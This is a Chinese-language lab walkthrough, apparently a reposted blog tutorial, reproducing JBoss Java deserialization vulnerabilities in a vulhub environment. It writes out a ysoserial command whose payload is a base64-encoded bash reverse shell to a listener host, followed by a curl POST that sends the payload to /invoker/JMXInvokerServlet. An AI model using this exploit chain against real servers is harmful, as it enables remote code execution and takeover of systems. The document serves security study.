Java教程

中间件漏洞 -- JBoss

本文主要是介绍中间件漏洞 -- JBoss,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

中间件漏洞记录--5

        jBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
默认端口:8080,9990

目录

一、JBoss JMXInvokerServlet 反序列化漏洞

1、环境搭建:docker + vulhub

2、访问,搭建成功

3、 访问 /invoker/JMXInvokerServlet

4、本来想用工具,结果一堆乱码,看不懂

5、配置安装ysoserial

6、开始攻击

base64加密">1> base64加密

生成exp.ser">2> 生成exp.ser

使用POST将其传过去">3> 使用POST将其传过去

提前监听,getshell">4> 提前监听,getshell

二、 JBoss EJBInvokerServlet 反序列化漏洞 

三、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

 四、JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)


一、JBoss JMXInvokerServlet 反序列化漏洞

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

1、环境搭建:docker + vulhub

cd vulhub/jboss/JMXInvokerServlet-deserialization
docker-compose up -d

2、访问,搭建成功

3、 访问 /invoker/JMXInvokerServlet

 返回如下,说明接口开放,此接口存在反序列化漏洞。

4、本来想用工具,结果一堆乱码,看不懂

5、配置安装ysoserial

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

在执行最后一步时,如果出现bash: mvn: command not found的问题,是因为kali未安装maven时出错的话,参考下面这个

kali安装maven和jdk、解决:bash: mvn: command not found_召唤大白的博客-CSDN博客

安装了五个小时,总算是成功了

6、开始攻击

1> base64加密

2> 生成exp.ser

看好路径

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyOS4yMjUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i} " >exp.ser

3> 使用POST将其传过去

curl http://192.168.129.129:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

4> 提前监听,getshell

二、 JBoss EJBInvokerServlet 反序列化漏洞 

访问 /invoker/EJBInvokerServlet

返回如下,说明接口开放,此接口存在反序列化漏洞

复现同上 

三、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

        该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

访问 /invoker/readonly

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化:

复现就同上,都是经典的java反序列化操作 

 

 四、JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中,我们借助ysoserial,同一。

这篇关于中间件漏洞 -- JBoss的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!